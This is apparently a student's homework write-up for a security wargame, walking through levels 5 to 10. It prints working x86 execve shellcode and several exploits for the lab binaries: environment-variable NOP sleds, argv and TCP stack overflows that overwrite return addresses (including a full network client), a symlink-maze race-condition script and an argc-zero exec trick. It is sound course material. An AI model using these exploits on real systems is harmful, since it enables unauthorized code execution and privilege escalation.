HW3

- Level 5-6
    - I eventually figured out that the level was based on putting shellcode in an environment variable.
    - I create shell code to run l33t using the assembly supplied to us in class.

```
main() {
__asm__(
 "      jmp    mcall         \n\t"
"ajmp:  pop    %ebx          \n\t"
 "      xor    %eax, %eax    \n\t"
"       mov    %al,0x13(%ebx)  \n\t"
 "      mov    %ebx,0x14(%ebx) \n\t"
 "      mov    %eax,0x18(%ebx) \n\t"
"       mov    $0xb,%al      \n\t"
"       lea    0x14(%ebx),%ecx \n\t"
"       lea    0x18(%ebx),%edx \n\t"
"       int    $0x80         \n\t"
"mcall: call   ajmp          \n\t"
 "      .string \"/usr/local/bin/l33t\""
);
}
```

- I compiled it and got the machine language out of it with
    - `gcc -c -o my_file.o my_file.c`
    - `objdump -d my_file.o`
- I tested the machine language bytecode with:

```
char sc[] =
        "\xeb\x16\x5b\x31\xc0\x88\x43\x13\x89"
        "\x5b\x14\x89\x43\x18\xb0\x0b\x8d\x4b"
        "\x14\x8d\x53\x18\xcd\x80\xe8\xe5\xff\xff\xff"
        "/usr/local/bin/l33t/xAAAABBBB";
main() {
        int *ret;
        ret = (int *)&ret+2;
        *ret = (int)sc;
}
```

- I then exported the following code to an environment variable.

```
#!/usr/bin/python
sc = \
```

```
"\xeb\x16\x5b\x31\xc0\x88\x43\x13\x89"+\
"\x5b\x14\x89\x43\x18\xb0\x0b\x8d\x4b"+\
"\x14\x8d\x53\x18\xcd\x80\xe8\xe5\xff\xff\xff"+\
"/usr/local/bin/l33t/xAAAABBBB"
print "\x90"*(1024-len(sc))+sc;
```

- I found the address of this code on the stack using gdb and the command: `x/s *((char **)environ)`
- After trial and error, I realized that I could overwrite the return address by choosing a specific index in the array from the 5.c code. It was 44 bytes towards higher memory after the local variables plus the stack frame pointer. It was index 11 and I put the address of the environment shellcode as the second argument. This wrote over the return address with argv[2] and executed my shellcode.
- Run 5.c with exact hex address without using \x.

- Level 6-7
  - The first way I got this was to overwrite argv[1] by overflowing argv[2] into it. The code does not check the size of argv[2] so you can write 257 bytes and the last byte will overwrite the filename buffer on the stack.
    - ./6 uniq $(python -c 'print "A"*256+"/usr/local/bin/l33t"')
- Level 7-8
  - This is the race condition level.
  - I followed the lecture slides and created a symlink maze that was linked into the file sent in as argv[1] for 7.c.
  - I made a few shell scripts to do this. The first is the one to create the symlink maze.

```
#!/bin/sh
ln -sf $(python -c 'print "/home/r/rowe7280/" + "A/"*2000 + "symlnk"') ./symmaze mkdir
-p $(python -c 'print "A/"*2000')
ln -sf $(python -c 'print "/home/r/rowe7280/" + "B/"*2000 + "symlnk"') $(python -c
'print "/home/r/rowe7280/" + "A/"*2000 + "symlnk"')
mkdir -p $(python -c 'print "B/"*2000')
ln -sf $(python -c 'print "/home/r/rowe7280/" + "C/"*2000 + "symlnk"') $(python -c
'print "/home/r/rowe7280/" + "B/"*2000 + "symlnk"')
mkdir -p $(python -c 'print "C/"*2000')
```

```
ln -sf $(python -c 'print "/home/r/rowe7280/" + "D/"*2000 + "symlnk"') $(python -c
'print "/home/r/rowe7280/" + "C/"*2000 + "symlnk"')
mkdir -p $(python -c 'print "D/"*2000')
ln -sf $(python -c 'print "/home/r/rowe7280/" + "E/"*2000 + "symlnk"') $(python -c
'print "/home/r/rowe7280/" + "D/"*2000 + "symlnk"')
mkdir -p $(python -c 'print "E/"*2000')
ln -sf $(python -c 'print "/home/r/rowe7280/" + "F/"*2000 + "symlnk"') $(python -c
'print "/home/r/rowe7280/" + "E/"*2000 + "symlnk"')
mkdir -p $(python -c 'print "F/"*2000')
ln -sf /var/challenge/level7/7.cmd $(python -c 'print "/home/r/rowe7280/" + "F/"*2000
+ "symlnk"')
```

- The second script is the one to run 7.c and unlink the file and link it again with l33t.

```
#!/bin/sh
./clean_symmaze.sh
./create_symmaze.sh
/var/challenge/level7/7 /home/r/rowe7280/symmaze &
ln -sf /home/r/rowe7280/l33t_mine /home/r/rowe7280/symmaze
```

- Level 8-9
    - This level's code was that of a tcp server where the message buffer for the tcp connection had a for loop reading one byte at a time into the buffer. The exploit resided in the fact that the size of the message coming into the server was never check so the for loop would continue until the entire message was read onto the stack.
    - I created a tcp client using code from a previous network system's homework.
    - I used gdb to go into the stack frame of manage_tcp_client function with the command 'set follow-fork-mode child' to follow followed the child process created by the fork.
    - I then proceeded to look at how the local variables were laid out on the stack. With help from other people's suggestions and Professor Black, I saw that the

problem I would run into would be overwriting the index on the way to the return address.

- After a while of not being able to get the index overwrite correct, Professor Black suggested to write a single byte into the least significant byte of the index address to completely skip over the rest of the bytes at the index address.

```
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#ifndef INADDR_NONE
#define INADDR_NONE     0xffffffff
#endif  /* INADDR_NONE */

extern int          errno;
int         TCPecho(const char *host, const char *portnum);
int         errexit(const char *format, ...);
int         connectsock(const char *host, const char *portnum);
/*------------------------------------------------------------------------
 * main - TCP client for ECHO service
 *------------------------------------------------------------------------
 */
int
main(int argc, char *argv[])
{
          char      *host = "10.13.37.4";       /* host to use if none supplied     */
          char      *portnum = "5027";          /* default server port number       */

          TCPecho(host, portnum);
          exit(0);
}

/*------------------------------------------------------------------------
 * TCPecho - send input to ECHO service on specified host and print reply
 *------------------------------------------------------------------------
 */
int
TCPecho(const char *host, const char *portnum)
{
          char sc[] =
                "\xeb\x16\x5b\x31\xc0\x88\x43\x13\x89"
                     "\x5b\x14\x89\x43\x18\xb0\x0b\x8d\x4b"
                    "\x14\x8d\x53\x18\xcd\x80\xe8\xe5\xff\xff\xff"
                    "/usr/local/bin/l33t/xAAAABBBB\x03"
                    "AAAABBBB\x64\xf5\xfe\xbf";

          printf("Length of sc |%lu|\n", strlen(sc));
```

```
        int i;
        char *send_string = malloc(sizeof(char)*65553);
        int buf_size = 65553;

        for(i = 0; i < 65478; i++) {
        strcat(send_string, "\x90");
        }
        strcat(send_string, sc);
        strcat(send_string, "\n");
        printf("Size of string is |%lu|\n", strlen(send_string));

        char    buf[buf_size];          /* buffer for one line of text      */
        int     s, n;                   /* socket descriptor, read count*/

        s = connectsock(host, portnum);

        memset(buf, '\0', sizeof(buf));
        int wrote = 0;

        while (1) {

                memset(buf, '\0', sizeof(buf));
                n = read(s, buf, sizeof(buf));
                fputs(buf, stdout);
                memset(buf, '\0', sizeof(buf));
                if(wrote == 0) {
                n = write(s, send_string, strlen(send_string));
                wrote = 1;
                printf("Wrote |%d| bytes\n", n);
                }
        }
}

/*------------------------------------------------------------------------
 * errexit - print an error message and exit
 *------------------------------------------------------------------------
 */
int
errexit(const char *format, ...)
{
      va_list args;
      va_start(args, format);
      vfprintf(stderr, format, args);
      va_end(args);
      exit(1);
}

/*------------------------------------------------------------------------
 * connectsock - allocate & connect a socket using TCP
 *------------------------------------------------------------------------
 */
int
connectsock(const char *host, const char *portnum)
/*
 * Arguments:
 *     host      - name of host to which connection is desired
 *     portnum   - server port number
 */
{
      struct hostent  *phe;   /* pointer to host information entry    */
      struct sockaddr_in sin; /* an Internet endpoint address         */
```

```
    int     s;              /* socket descriptor                */


    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;

  /* Map port number (char string) to port number (int)*/
    if ((sin.sin_port=htons((unsigned short)atoi(portnum))) == 0)
        errexit("can't get \"%s\" port number\n", portnum);

  /* Map host name to IP address, allowing for dotted decimal */
    if ( phe = gethostbyname(host) )
        memcpy(&sin.sin_addr, phe->h_addr, phe->h_length);
    else if ( (sin.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE )
        errexit("can't get \"%s\" host entry\n", host);

  /* Allocate a socket */
    s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0)
        errexit("can't create socket: %s\n", strerror(errno));

  /* Connect the socket */
    if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        errexit("can't connect to %s.%s: %s\n", host, portnum,
            strerror(errno));
    return s;
}
```

- Level 9-10
    - At first I thought it was a .dtors of GOT overwrite but the ‘getegitd() != getgid()’ ruled that out and most other ideas.
    - Finally, I realized that the only way around the first conditional was to run a program that had no argc or argv so that I could pass ‘argc != 0.’
    - I googled and found how you could and I made a program to do that.

```
#include <stdio.h>
#include <unistd.h>

void main(int argc, char *argv) {

        execv("/var/challenge/level9/9",NULL);

}
```

- After this though, I still had to figure out where to put my shellcode. Eventually, I saw that the buffer wasn't big enough for all of it but it was big enough to overwrite the return address with a different address.
- From gdb, I saw that when there were no arguments given the 9.c, argv[4] would reference a variable in the environment. That's where I put the return address to the shellcode located in another variable in the environment.

  ```
  export SSH_CLIENT=$(python -c 'print "A"*13 +"\x5d\xfd\xff\xbf"')
  ```
- I exported a noop sled with the shell code to get the return address relatively close. I used the same code from the beginning of level 5-6.